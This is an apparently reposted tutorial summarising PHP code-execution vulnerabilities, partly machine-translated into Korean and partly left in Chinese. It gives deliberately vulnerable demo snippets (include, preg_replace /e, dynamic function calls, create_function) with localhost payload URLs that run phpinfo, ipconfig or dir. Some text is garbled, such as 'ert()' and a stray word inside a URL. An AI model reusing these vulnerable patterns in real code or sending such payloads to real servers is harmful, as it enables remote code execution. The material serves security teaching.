이 글은 특정 참조 가치가 있는 PHP 코드 실행 취약점에 대한 요약을 소개합니다. 이제 모든 사람과 공유합니다. 도움이 필요한 친구들이 참조할 수 있습니다.
ref : http:/ /blog.csdn.net/kuangmang/article/details/27170309
ref: http://blog.csdn.net/fuckcat_2333/article/details/52125951
PHP에서 코드를 실행할 수 있는 기능 eval(),ert(),``, system(), exec(), shell_exec(), passthru(), pcntl_exec()
이 함수의 매개변수(일부)를 제어할 수 있는 경우 명령 주입이 있을 수 있습니다. 취약점. Escapeshellarg는 주로 매개변수를 처리하는 데 사용되지만, PHP 라이브러리 함수의 하위 버전에서는 이 함수에 취약점이 있으므로(이유: Windows에서는 백슬래시가 필터링되지 않음) 주의가 필요합니다.
파일 포함 함수(include, include_once, require, require_once)에 입력 변수가 포함되면 코드 주입이 발생할 수 있습니다.
조건:allow_url_include=On, PHP 버전>=5.2.0
데모 코드:
<?phpinclude($_GET['a']);?>
http://127.0.0.1/demo.php?a=data:text/plain,%3C?php%20phpinfo%28 방문 %29;?%3E, phpinfo()가 실행됩니다.
preg_replace() 함수:
/e 모드 수식자가 패턴에 존재하고 일치하면 대체 코드의 실행이 허용됩니다.
条件:magic_quotes_gpc=Off,pattern参数中注入/e选项;
demo code:
<?phpecho $regexp = $_GET['reg']; $var = '<php>phpinfo()</php>'; preg_replace("/<php>(.*?)$regexp", '\\1', $var);?>
访问http://127.0.0.1/preg_replace1.php?reg=%3C/php%3E/e
即会执行phpinfo()
条件:pattern参数中带/e
<?phppreg_replace("/testxxx/e",$_GET['h'],"jutst test testxxx!");?>
提交 http://127.0.0.1/demo2.php?h=phpinfo()时, 即 执行phpinfo()。
<?php$dyn_func = $_GET['dyn_func']; $argument = $_GET['argument']; $dyn_func($argument);?>
当http://127.0.0.1/dyn_func.php?dyn_func=system&argument=ipconfig时,执行ipconfig命令
关键函数:create_function
demo code:
<?php$foobar = $_GET['foobar'];$dyn_func = create_function('$foobar', "echo $foobar;");$dyn_func('');?>
当提交http://127.0.0.1/create_function.php?foobar=system%28dir%29时,执行dir命令
array_map()函数
ob_start()函数???
函数处理函数:http://www.php.net/manual/zh/book.funchand.php
相关推荐:
위 내용은 PHP 코드 실행 취약점 요약의 상세 내용입니다. 자세한 내용은 PHP 중국어 웹사이트의 기타 관련 기사를 참조하세요!